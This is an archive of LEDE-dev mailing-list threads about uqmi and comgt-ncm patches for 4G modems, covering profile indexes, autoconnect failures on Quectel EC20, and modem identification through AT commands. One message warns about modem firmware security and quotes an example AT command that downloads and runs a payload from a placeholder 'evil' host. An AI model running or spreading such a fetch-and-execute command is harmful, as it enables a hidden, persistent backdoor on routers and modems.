Re: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was: Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]]

2017-01-08 Thread Matti Laakso
> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso <malaa...@elisanet.fi> [2017-01-08 14:39:34]:
>
> Hi,
>
> > I'm almost done with checking the connection state using a 
> > proto_run_command with a simple script running uqmi --get-data-status 
> > periodically. If the check fails, the script dies and netifd should 
> > restart the connection. Then we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom 
> script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the 
> source of truth about the connection status, I think it's more reliable to 
> use ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some 
> qmuxd[2] after all using dozen threads answering you :-) What can probably go 
> wrong, right?

Sure, but to replace autoconnect it should only be at least as reliable as 
autoconnect. Depending on your network environment there might not be anything 
to ping, let alone any servers that would answer curl. This kind of connection 
monitoring is always quite custom and its place is not in netifd.

>
> > > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", 
> > > which makes a lot of things crystal clear :-)
> >
> > That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful 
> devices, usually equiped with very good, but limited uplink connection, still 
> making it ideal candidate for DDoS botnet for example, like any other router, 
> camera or IoT device. It's just a matter of time we see something like this 
> in the wild.  The probability is very high, 1.5M lines of just kernel code 
> done probably in a hurry, without proper review, this is very big attack 
> surface.
>
> It's better to not think about the system in the modem as a nice place for a 
> hideout for a very persistent backdoor to our systems, surviving even 
> firmware updates.  Just imagine some trojan inside the router running 
> following on the modem's AT command serial interface:
>
>AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure 
> firmware using OpenEmbedded, but I would like to see it supported in LEDE 
> also, probably with more mainline kernel if possible. Still, it's quite 
> strange to see such a big embedded systems running in the 4G modem. It seems 
> like 2017 is era of SITSes, Systems In The Systems.

Also several Huawei modems have an Android system (with proprietary kernel 
modules parsing AT-commands etc.) running in one core between the USB host and 
the actual modem firmware in the second core (VxWorks). Security wise I'd be 
more worried about the VxWorks part.

Matti

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.]

2017-01-08 Thread Matti Laakso
> Petr Štetiar  [2016-12-12 10:06:59]:
> 
> > I'm going to ask Quectel about this issue and will share the results.
> 
> So it ended with the following result: "I raceived the additional 
> informations that it’s not well to use autoconnect feature on EC20 and EC25. 
> R will work to solve this, but it can take too much time. Is it possible 
> for you to use it without autoconnect?"

I'm almost done with checking the connection state using a proto_run_command 
with a simple script running uqmi --get-data-status periodically. If the check 
fails, the script dies and netifd should restart the connection. Then we 
hopefully don't need autoconnect anymore.

> 
> And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes 
> a lot of things crystal clear :-)
> 

That's an interesting talk, thanks for the note!

Matti
___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [LEDE-DEV, 3/3, v2] uqmi: Prevent 'POLICY MISMATH' error.

2016-12-16 Thread Matti Laakso

On 07/12/2016 18:13, Nickolay Ledovskikh wrote:
>/Add uqmi 'sync' command call to release stalled cid when preparing to />/setup new connection. As a result it prevents 'POLICY MISMATCH' errors. />//>/Signed-off-by: Nickolay Ledovskikh > />/--- />/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh | 1 + />/1 file changed, 1 insertion(+) />//>/diff --git a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh 
b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh />/index fb4c339..3b24539 100755 />/--- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh />/+++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh />/@@ -85,6 +85,7 @@ proto_qmi_setup() { />//>/# try to clear previous autoconnect state />/# do not reuse previous wds client id to prevent hangs caused by stale 
data />/+ uqmi -s -d "$device" --sync />/uqmi -s -d "$device" \ />/--stop-network 0x \ />/--autoconnect > /dev/null />//

patch does not apply anymore after the latest series from Matti

John


And you also need to bump up the uqmi version in the Makefile.

Otherwise I think calling sync in the beginning is a good idea.

Matti

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [PATCH] comgt-ncm: Add support for specifying profile index

2016-12-11 Thread Matti Laakso
On 12/11/2016 09:47 AM, John Crispin wrote:
> Hi Matti
>
> i noticed that you remove the ipv6 option/support and this is not
> mentioned in the commit message. could you elaborate on that one ?
>
>   John

Hi John,

It is mentioned in the commit message, although maybe a bit unclear. I
just sent a v2 with among other changes a slightly reworded commit
message. The point is that it is better (and common to mobile broadband
connections) to specify pdptype as ip, ipv6 or ipv4v6 rather than enable
or disable ipv6.

Matti

>
> On 06/12/2016 17:52, Matti Laakso wrote:
>> Add support for specifying a call profile index instead of APN. A
>> specific index different from 1 must be used for some service
>> provider and modem combinations.
>>
>> In addition, change the manufacturer detection to use the standard
>> AT+CGMI command, which produces more predictable output than ATI,
>> and remove the redundant ipv6 option, since it is more customary
>> to specify the PDP context type with mobile connections.
>>
>> Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
>> ---
>>  package/network/utils/comgt/Makefile   |  2 +-
>>  package/network/utils/comgt/files/getcardinfo.gcom |  2 +-
>>  package/network/utils/comgt/files/ncm.json | 26 -
>>  package/network/utils/comgt/files/ncm.sh   | 65 
>> ++
>>  4 files changed, 44 insertions(+), 51 deletions(-)
>>
>> diff --git a/package/network/utils/comgt/Makefile 
>> b/package/network/utils/comgt/Makefile
>> index 9d99d64..4b6e6ea 100644
>> --- a/package/network/utils/comgt/Makefile
>> +++ b/package/network/utils/comgt/Makefile
>> @@ -9,7 +9,7 @@ include $(TOPDIR)/rules.mk
>>  
>>  PKG_NAME:=comgt
>>  PKG_VERSION:=0.32
>> -PKG_RELEASE:=27
>> +PKG_RELEASE:=28
>>  
>>  PKG_SOURCE:=$(PKG_NAME).$(PKG_VERSION).tgz
>>  PKG_SOURCE_URL:=@SF/comgt
>> diff --git a/package/network/utils/comgt/files/getcardinfo.gcom 
>> b/package/network/utils/comgt/files/getcardinfo.gcom
>> index 5c69a64..f91665f 100644
>> --- a/package/network/utils/comgt/files/getcardinfo.gcom
>> +++ b/package/network/utils/comgt/files/getcardinfo.gcom
>> @@ -6,7 +6,7 @@ opengt
>>   flash 0.1
>>  
>>  :start
>> - send "ATI^m"
>> + send "AT+CGMI^m"
>>   get 1 "" $s
>>   print $s
>>  
>> diff --git a/package/network/utils/comgt/files/ncm.json 
>> b/package/network/utils/comgt/files/ncm.json
>> index d1f8699..8f74e17 100644
>> --- a/package/network/utils/comgt/files/ncm.json
>> +++ b/package/network/utils/comgt/files/ncm.json
>> @@ -7,7 +7,7 @@
>>  "ATV1",
>>  "ATE1",
>>  "ATS0=0",
>> -"AT+CGDCONT=1,\\\"${pdptype}\\\",\\\"${apn}\\\""
>> +
>> "AT+CGDCONT=${profile},\\\"${pdptype}\\\"${apn:+,\\\"$apn\\\"}"
>>  ],
>>  "modes": {
>>  "preferlte": 
>> "AT^SYSCFGEX=\\\"030201\\\",3fff,2,4,7fff,,",
>> @@ -17,8 +17,8 @@
>>  "gsm": 
>> "AT^SYSCFGEX=\\\"01\\\",3fff,2,4,7fff,,",
>>  "auto": 
>> "AT^SYSCFGEX=\\\"00\\\",3fff,2,4,7fff,,"
>>  },
>> -"connect": 
>> "AT^NDISDUP=1,1,\\\"${apn}\\\"${username:+,\\\"$username\\\"}${password:+,\\\"$password\\\"}${auth:+,$auth}",
>> -"disconnect": "AT^NDISDUP=1,0"
>> +"connect": 
>> "AT^NDISDUP=${profile},1${apn:+,\\\"$apn\\\"}${username:+,\\\"$username\\\"}${password:+,\\\"$password\\\"}${auth:+,$auth}",
>> +"disconnect": "AT^NDISDUP=${profile},0"
>>  },
>>  "samsung": {
>>  "initialize": [
>> @@ -26,7 +26,7 @@
>>  "AT+CGREG=2",
>>  "AT+CFUN=5",
>>  "AT+MODESELECT=3",
>> -"AT+CGDCONT=1,\\\"${pdptype}\\\",\\\"${apn}\\\""
>> +
>> "AT+CGDCONT=${profile},\\\"${pdptype}\\\"${apn:+,\\\"$apn\\\"}"
>>  ],
>>  "modes&q

[LEDE-DEV] [PATCH v2] uqmi: Add support for specifying profile index

2016-12-11 Thread Matti Laakso
Update uqmi to latest version, which brings about support for
specifying a call profile index instead of APN. A specific index
different from 1 must be used for some service provider and modem
combinations.

Also change option dhcp to dhcpv6, since IPv4 now always uses DHCP,
replace option ipv6 with pdptype, which is less ambiguous, and
make autoconnect optional and default it to off for IPv6 due to it
not working with statically configured IPv6.

Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---

v2:
* Enable autoconnect by default for IPv4

 package/network/utils/uqmi/Makefile|   6 +-
 .../utils/uqmi/files/lib/netifd/proto/qmi.sh   | 169 +++--
 2 files changed, 93 insertions(+), 82 deletions(-)

diff --git a/package/network/utils/uqmi/Makefile 
b/package/network/utils/uqmi/Makefile
index 06d9ac2..2b832d4 100644
--- a/package/network/utils/uqmi/Makefile
+++ b/package/network/utils/uqmi/Makefile
@@ -1,15 +1,15 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=uqmi
-PKG_VERSION:=2016-08-23
+PKG_VERSION:=2016-11-22
 PKG_RELEASE=$(PKG_SOURCE_VERSION)
 
 PKG_SOURCE_PROTO:=git
 PKG_SOURCE_URL=$(LEDE_GIT)/project/uqmi.git
 PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION)
-PKG_SOURCE_VERSION:=eb1dec7d0dc283a7f61aa574a443a0ab61f8793f
+PKG_SOURCE_VERSION:=d682e966615fc652da6e4e26b57aa3adfebeb2fe
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION)-$(PKG_SOURCE_VERSION).tar.xz
-PKG_MIRROR_MD5SUM:=e6273e6aee6fce419e13f84439c240d48c32020fce7f07b2dc123ae32742382c
+PKG_MIRROR_MD5SUM:=a82c4682d07870d1bdf63e475afe1c1fffabf0954a49e0e67058dae0d4f6f71c
 PKG_MAINTAINER:=Matti Laakso <malaa...@elisanet.fi>
 
 PKG_LICENSE:=GPL-2.0
diff --git a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh 
b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
index 1235698..05b9242 100755
--- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
+++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
@@ -15,24 +15,22 @@ proto_qmi_init_config() {
proto_config_add_string username
proto_config_add_string password
proto_config_add_string pincode
-   proto_config_add_string delay
+   proto_config_add_int delay
proto_config_add_string modes
-   proto_config_add_boolean ipv6
-   proto_config_add_boolean dhcp
+   proto_config_add_string pdptype
+   proto_config_add_int profile
+   proto_config_add_boolean dhcpv6
+   proto_config_add_boolean autoconnect
proto_config_add_defaults
 }
 
 proto_qmi_setup() {
local interface="$1"
 
-   local device apn auth username password pincode delay modes ipv6 dhcp 
$PROTO_DEFAULT_OPTIONS
-   local cid_4 pdh_4 cid_6 pdh_6 ipv4
-   local ip subnet gateway dns1 dns2 ip_6 ip_prefix_length gateway_6 
dns1_6 dns2_6
-   json_get_vars device apn auth username password pincode delay modes 
ipv6 dhcp $PROTO_DEFAULT_OPTIONS
-
-   ipv4=1
-
-   [ "$ipv6" = 1 ] || ipv6=""
+   local device apn auth username password pincode delay modes pdptype 
profile dhcpv6 autoconnect $PROTO_DEFAULT_OPTIONS
+   local cid_4 pdh_4 cid_6 pdh_6
+   local ip_6 ip_prefix_length gateway_6 dns1_6 dns2_6
+   json_get_vars device apn auth username password pincode delay modes 
pdptype profile dhcpv6 autoconnect $PROTO_DEFAULT_OPTIONS
 
[ "$metric" = "" ] && metric="0"
 
@@ -76,18 +74,6 @@ proto_qmi_setup() {
}
}
 
-   [ -n "$apn" ] || {
-   echo "No APN specified"
-   proto_notify_error "$interface" NO_APN
-   return 1
-   }
-
-   # try to clear previous autoconnect state
-   # do not reuse previous wds client id to prevent hangs caused by stale 
data
-   uqmi -s -d "$device" \
-   --stop-network 0x \
-   --autoconnect > /dev/null
-
uqmi -s -d "$device" --set-data-format 802.3
uqmi -s -d "$device" --wda-set-data-format 802.3
 
@@ -98,68 +84,96 @@ proto_qmi_setup() {
 
[ -n "$modes" ] && uqmi -s -d "$device" --set-network-modes "$modes"
 
-   echo "Starting network $apn"
+   echo "Starting network $interface"
 
-   cid_4=`uqmi -s -d "$device" --get-client-id wds`
-   [ $? -ne 0 ] && {
-   echo "Unable to obtain client ID"
-   proto_notify_error "$interface" NO_CID
-   return 1
-   }
+   pdptype=`echo "$pdptype" | awk '{print tolower($0)}'`
+   [ "$pdptype" = "ip" -o "$pdptype" = "ipv6" -o "$pdptype" = "ipv4v6" ] 
|| pdptype="ip"
+
+   if [ "$pdptype" = "ip" ]; then
+   [ -z "$autoconnect" ] && autoconnect=

Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.

2016-12-09 Thread Matti Laakso

Hi Nikolay,

On 09.12.2016 11:57, Nikolay Ledovskikh wrote:

I'm using multiple modems

config interface 'wan1'
 option proto 'qmi'
 option device '/dev/cdc-wdm0'
 option apn 'internet.megafon.ru'
 option ipv6 '0'
 option metric '1'

config interface 'wan2'
 option proto 'qmi'
 option device '/dev/cdc-wdm1'
 option apn 'internet.beeline.ru'
 option ipv6 '0'
 option metric '2'

And 2 more modems


Are all modems the same? Do they have same firmware versions? Are you 
sure that the mapping of different /dev/cdc-wdmX nodes always stay the 
same? It could be that on some boot the modem with the Megafon SIM gets 
/dev/cdc-wdm0 and on the second boot it gets /dev/cdc-wdm1 or some other 
number. Using autoconnect may ignore the APN, and the modems seem to 
work correctly. If you remove the APN options, does it work then?




And with your patch logread shows endlessly:
Fri Dec  9 09:38:15 2016 daemon.notice netifd: wan3 (18612): Command
failed: Permission denied
Fri Dec  9 09:38:15 2016 daemon.notice netifd: Interface 'wan3' is now down
Fri Dec  9 09:38:15 2016 daemon.notice netifd: Interface 'wan3' is
setting up now
Fri Dec  9 09:38:15 2016 daemon.notice netifd: wan4 (18611): Waiting
for network registration
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan4 (18611): Starting
network wan4
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan3 (18625): Waiting
for network registration
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan4 (18611): Unable to
connect IPv4
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan3 (18625): Starting
network wan3
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan4 (18655): Stopping
network wan4
Fri Dec  9 09:38:16 2016 daemon.notice netifd: wan4 (18655): Command
failed: Permission denied


Just a note, the "Command failed: Permission denied" error is unrelated.

Matti



About cgdcont:
1'st modem:
at+cgdcont?
+CGDCONT: 1,"IP","internet.megafon.ru","0.0.0.0",0,0
+CGDCONT: 3,"IP","internet.megafon.ru","0.0.0.0",0,0

2'nd modem:
at+cgdcont?
+CGDCONT: 1,"IP","internet.beeline.ru","0.0.0.0",0,0
+CGDCONT: 3,"IP","internet.beeline.ru","0.0.0.0",0,0

And 2 more modems

Only one (wan2) gets up and connected to network. What I'm doing wrong

2016-12-09 12:35 GMT+03:00 Matti Laakso <malaa...@elisanet.fi>:

On 09.12.2016 11:27, Petr Štetiar wrote:

Matti Laakso <malaa...@elisanet.fi> [2016-12-09 10:23:24]:


I don't think that the autoconnect setting is "transferred" to the
network, rather it could be tied to a specific call profile index, which
has the wrong APN. If your Slovakian SIM card has several predefined
profiles, this could be the case. If your modem exposes a virtual serial
port which accepts AT-commands, you could use AT+CGDCONT? to check.

Thanks for the additional hints. Details about my modem:

   ATI
   Quectel
   EC20
   Revision: EC20EQAR02A05E2G

I knew, that there's only one profile defined, operator has deleted all
other
profiles, there's currently only one APN defined.

   AT+CGDCONT?
   +CGDCONT: 1,"IPV4V6","","0.0.0.0",0,0


Well, there's no APN defined (it's an empty string), and who knows, maybe
the modem ignores the APN provided via QMI when enabling autoconnect... Does
your working Czech SIM card have a valid APN string?

Matti



I agree fully. That's why I added the autoconnect option in my last
patch and defaulted it to disabled.

Great, I've missed this patch. Going to take a look at it.

-- ynezz








___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.

2016-12-09 Thread Matti Laakso

On 09.12.2016 11:27, Petr Štetiar wrote:

Matti Laakso <malaa...@elisanet.fi> [2016-12-09 10:23:24]:


I don't think that the autoconnect setting is "transferred" to the
network, rather it could be tied to a specific call profile index, which
has the wrong APN. If your Slovakian SIM card has several predefined
profiles, this could be the case. If your modem exposes a virtual serial
port which accepts AT-commands, you could use AT+CGDCONT? to check.

Thanks for the additional hints. Details about my modem:

  ATI
  Quectel
  EC20
  Revision: EC20EQAR02A05E2G

I knew, that there's only one profile defined, operator has deleted all other
profiles, there's currently only one APN defined.

  AT+CGDCONT?
  +CGDCONT: 1,"IPV4V6","","0.0.0.0",0,0


Well, there's no APN defined (it's an empty string), and who knows, 
maybe the modem ignores the APN provided via QMI when enabling 
autoconnect... Does your working Czech SIM card have a valid APN string?


Matti




I agree fully. That's why I added the autoconnect option in my last
patch and defaulted it to disabled.

Great, I've missed this patch. Going to take a look at it.

-- ynezz



___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.

2016-12-09 Thread Matti Laakso


On 08.12.2016 17:11, Bjørn Mork wrote:

Petr Štetiar <yn...@true.cz> writes:


Matti Laakso <malaa...@elisanet.fi> [2016-12-08 15:39:57]:

Hi,


I don't like the autoconnect at all, it being so unpredictable across
various models.

This autoconnect feature should burn in hell :-) The funny thing about this
feature is, that the behaviour is network specific[1] also.

I still can't find some time to dig more into this, like read the QMI docs
etc., but I'm still wondering how this could be possible. Maybe this
autoconnect setting is somehow transfered towards to the other end in network
operator's infrastructure?

Bjørn, any idea? :-)


I don't think that the autoconnect setting is "transferred" to the 
network, rather it could be tied to a specific call profile index, which 
has the wrong APN. If your Slovakian SIM card has several predefined 
profiles, this could be the case. If your modem exposes a virtual serial 
port which accepts AT-commands, you could use AT+CGDCONT? to check.



Closed source firmware does all sort of weird and unexpected stuff.
That's why we use OpenWrt/LEDE on the routers, after all :)

I don't think we can trust the modem firmware with complex features like
autoconnect. There are too many things that can go wrong.  And we don't
have any way to debug or fix any of those issues when they.happen inside
the modem firmware "black box".  How do you tell the difference between
autoconnect failed due to wrong APN from autoconnect failed due to low
signal, for example?

IMHO, we should depend on as few as possible of the most basic modem
firmware features.  Any complex features like autoconnect can and should
be implemented as services running on the host, using those basic
features as building blocks.


Bjørn


I agree fully. That's why I added the autoconnect option in my last 
patch and defaulted it to disabled.


Matti

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [LEDE-DEV, 3/3, v3] uqmi: Prevent 'POLICY MISMATCH' error.

2016-12-08 Thread Matti Laakso
> 
> Add uqmi 'sync' command call to release stalled cid when preparing to
> setup new connection. As a result it prevents 'POLICY MISMATCH' errors.
>
> Signed-off-by: Nickolay Ledovskikh  >
> ---
>  package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh | 1 +
>  1 file changed, 1 insertion(+)
>
> diff --git a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh 
> b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> index fb4c339..3b24539 100755
> --- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> +++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
> @@ -85,6 +85,7 @@ proto_qmi_setup() {
>  
>   # try to clear previous autoconnect state
>   # do not reuse previous wds client id to prevent hangs caused by stale 
> data
> + uqmi -s -d "$device" --sync
>   uqmi -s -d "$device" \
>   --stop-network 0x \
>   --autoconnect > /dev/null
> -- 
> 2.7.3
>
>

I think my latest patch,
http://lists.infradead.org/pipermail/lede-dev/2016-December/004433.html
, should also fix this, since this is typically caused by IPv6
autoconnect being enabled and trying to disable it with IPv4 client or
vice versa. My patch adds separate commands for IPv4 and IPv6. That
said, I don't like the autoconnect at all, it being so unpredictable
across various models.

Matti

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


Re: [LEDE-DEV] [PATCH] comgt-ncm: Add support for specifying profile index

2016-12-08 Thread Matti Laakso
> >/--- a/package/network/utils/comgt/files/getcardinfo.gcom />/+++ 
> >b/package/network/utils/comgt/files/getcardinfo.gcom />/@@ -6,7 +6,7 @@ 
> >opengt />/flash 0.1 />//>/:start />/- send "ATI^m" />/+ send "AT+CGMI^m" /
> >/diff --git a/package/network/utils/comgt/files/ncm.json /
>
> >/diff --git a/package/network/utils/comgt/files/ncm.sh 
> >/>/b/package/network/utils/comgt/files/ncm.sh />/index 14b6347..df60fe8 
> >100644 /
>
> >/- manufacturer=`gcom -d "$device" -s /etc/gcom/getcardinfo.gcom | awk 
> >/'/Manufacturer/ { print tolower($2) }'`
> >/+ manufacturer=`gcom -d "$device" -s /etc/gcom/getcardinfo.gcom | awk /+'NF 
> >{ print tolower($1); exit; }'`
>
> Unfortunately this currently doesn't work for me, but can be easily fixed.
> Adding this line:
> +   echo "Manufacturer: $manufacturer"
> this is what I get in the logread:
> Tue Dec  6 18:49:52 2016 daemon.notice netifd: Interface 'wan3g' is setting
> up now
> Tue Dec  6 18:49:52 2016 daemon.notice netifd: wan3g (1082): wwan[1082]
> Using proto:wwan device:/dev/ttyUSB0 iface:usb0 desc:
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1082): Manufacturer:
> at+cgmi
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1082): WARNING:
> Variable 'at+cgmi' does not exist or is not an array/object
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1082): Unsupported
> modem
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1122): Stopping
> network device:
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1122): Can't open
> device .
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: wan3g (1122): Failed to
> disconnect
> Tue Dec  6 18:49:54 2016 daemon.notice netifd: Interface 'wan3g' is now down
>
> Running the getcardinfo script manually:
> root at lede :~# gcom 
> -d /dev/ttyUSB0 -s /etc/gcom/getcardinfo.gcom
> AT+CGMI
> +CGMI: MTK1
>
> OK

Ah, that's the echo from the command messing up things. I was using the
cdc-wdm0 node, which doesn't echo, so I didn't notice this. Will send a
fix later today. However, it still wouldn't work with your modem as the
manufacturer would be "+cgmi:". This is a bug in the modem firmware,
since according to GSM spec AT+CGMI should only return the manufacturer
name and "OK". This from a Huawei:

AT+CGMI
huawei

OK

>
> A general comment:
> Currently the wwan is dividing only for manufacturer and not per device
> model.
> I don't know if this is a good strategy. Probably the same manufacturer can
> produce different modem models requiring some more specific configuration.
> My suggestion is to keep the manufactured identification (as it is now) to
> address the generic configuration, but identify also the model in order to
> allow a more specific configuration if needed.

Possibly, then we should use the AT+CGMM to get the model in a
predictable way (unlike ATI-command):

AT+CGMM
E3276

>
> Bye.

___
Lede-dev mailing list
Lede-dev@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/lede-dev


[LEDE-DEV] [PATCH] uqmi: Add support for specifying profile index

2016-12-03 Thread Matti Laakso
Update uqmi to latest version, which brings about support for
specifying a call profile index instead of APN. A specific index
different from 1 must be used for some service provider and modem
combinations.

Also make autoconnect optional and default it to off due to it not
working with statically configured IPv6.

Signed-off-by: Matti Laakso <malaa...@elisanet.fi>
---
 package/network/utils/uqmi/Makefile|   6 +-
 .../utils/uqmi/files/lib/netifd/proto/qmi.sh   | 164 +++--
 2 files changed, 88 insertions(+), 82 deletions(-)

diff --git a/package/network/utils/uqmi/Makefile 
b/package/network/utils/uqmi/Makefile
index 06d9ac2..2b832d4 100644
--- a/package/network/utils/uqmi/Makefile
+++ b/package/network/utils/uqmi/Makefile
@@ -1,15 +1,15 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=uqmi
-PKG_VERSION:=2016-08-23
+PKG_VERSION:=2016-11-22
 PKG_RELEASE=$(PKG_SOURCE_VERSION)
 
 PKG_SOURCE_PROTO:=git
 PKG_SOURCE_URL=$(LEDE_GIT)/project/uqmi.git
 PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION)
-PKG_SOURCE_VERSION:=eb1dec7d0dc283a7f61aa574a443a0ab61f8793f
+PKG_SOURCE_VERSION:=d682e966615fc652da6e4e26b57aa3adfebeb2fe
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION)-$(PKG_SOURCE_VERSION).tar.xz
-PKG_MIRROR_MD5SUM:=e6273e6aee6fce419e13f84439c240d48c32020fce7f07b2dc123ae32742382c
+PKG_MIRROR_MD5SUM:=a82c4682d07870d1bdf63e475afe1c1fffabf0954a49e0e67058dae0d4f6f71c
 PKG_MAINTAINER:=Matti Laakso <malaa...@elisanet.fi>
 
 PKG_LICENSE:=GPL-2.0
diff --git a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh 
b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
index 1235698..ed25ea7 100755
--- a/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
+++ b/package/network/utils/uqmi/files/lib/netifd/proto/qmi.sh
@@ -15,27 +15,27 @@ proto_qmi_init_config() {
proto_config_add_string username
proto_config_add_string password
proto_config_add_string pincode
-   proto_config_add_string delay
+   proto_config_add_int delay
proto_config_add_string modes
-   proto_config_add_boolean ipv6
-   proto_config_add_boolean dhcp
+   proto_config_add_string pdptype
+   proto_config_add_int profile
+   proto_config_add_boolean dhcpv6
+   proto_config_add_boolean autoconnect
proto_config_add_defaults
 }
 
 proto_qmi_setup() {
local interface="$1"
 
-   local device apn auth username password pincode delay modes ipv6 dhcp 
$PROTO_DEFAULT_OPTIONS
-   local cid_4 pdh_4 cid_6 pdh_6 ipv4
-   local ip subnet gateway dns1 dns2 ip_6 ip_prefix_length gateway_6 
dns1_6 dns2_6
-   json_get_vars device apn auth username password pincode delay modes 
ipv6 dhcp $PROTO_DEFAULT_OPTIONS
-
-   ipv4=1
-
-   [ "$ipv6" = 1 ] || ipv6=""
+   local device apn auth username password pincode delay modes pdptype 
profile dhcpv6 autoconnect $PROTO_DEFAULT_OPTIONS
+   local cid_4 pdh_4 cid_6 pdh_6
+   local ip_6 ip_prefix_length gateway_6 dns1_6 dns2_6
+   json_get_vars device apn auth username password pincode delay modes 
pdptype profile dhcpv6 autoconnect $PROTO_DEFAULT_OPTIONS
 
[ "$metric" = "" ] && metric="0"
 
+   [ "$autoconnect" = 1 ] || autoconnect=""
+
[ -n "$ctl_device" ] && device=$ctl_device
 
[ -n "$device" ] || {
@@ -76,18 +76,6 @@ proto_qmi_setup() {
}
}
 
-   [ -n "$apn" ] || {
-   echo "No APN specified"
-   proto_notify_error "$interface" NO_APN
-   return 1
-   }
-
-   # try to clear previous autoconnect state
-   # do not reuse previous wds client id to prevent hangs caused by stale 
data
-   uqmi -s -d "$device" \
-   --stop-network 0x \
-   --autoconnect > /dev/null
-
uqmi -s -d "$device" --set-data-format 802.3
uqmi -s -d "$device" --wda-set-data-format 802.3
 
@@ -98,68 +86,89 @@ proto_qmi_setup() {
 
[ -n "$modes" ] && uqmi -s -d "$device" --set-network-modes "$modes"
 
-   echo "Starting network $apn"
+   echo "Starting network $interface"
 
-   cid_4=`uqmi -s -d "$device" --get-client-id wds`
-   [ $? -ne 0 ] && {
-   echo "Unable to obtain client ID"
-   proto_notify_error "$interface" NO_CID
-   return 1
-   }
+   pdptype=`echo "$pdptype" | awk '{print tolower($0)}'`
+   [ "$pdptype" = "ip" -o "$pdptype" = "ipv6" -o "$pdptype" = "ipv4v6" ] 
|| pdptype="ip"
+
+   [ "$pdptype" = "ip" -o "$pdptype" = "ipv4v6" ] && {
+   cid_4=`uqmi -s -d &qu

Re: [LEDE-DEV] enhanced 3G support

2016-11-28 Thread Matti Laakso
Hi,

> Dear All,
> I currently add supprt for the dwr-512 device on LEDE.
> This device have a 3G modem embedded.
> The current available configuration uses the usb-option to establish the 3G
> connection over ppp.
> Nevertheless the modem offer one cdc-ether interface with better
> performance.
>
> It seems to me that currently this kind of "protocol" is not supported in
> LEDE.
> In particular I'm unable to found an interface type in the
> /etc/config/network to setup this kind of connection.
>
> Currently I'm able to establish a connection setting the interface in
> "manual" mode.
>
> To do this I setup an usb interface
>
> config interface 'wan3g'
> option ifname 'usb0'
> option proto 'dhcp'
>
> then I need to send manually the following command to the /dev/ttyUSB0 to
> establish the 3G connection:

Please use the existing ncm protocol for this. It shouldn't matter that the 
actual module used is cdc_ether instead of cdc_ncm. You just need to add the 
correct commands to the ncm.json file under a new object with the manufacturer 
name that is taken from the output of the ATI-command. I can help you with the 
details if needed. I would assume that the AT-commands with the question mark 
at the end are not actually needed to bring this online?

Best regards,
Matti

___
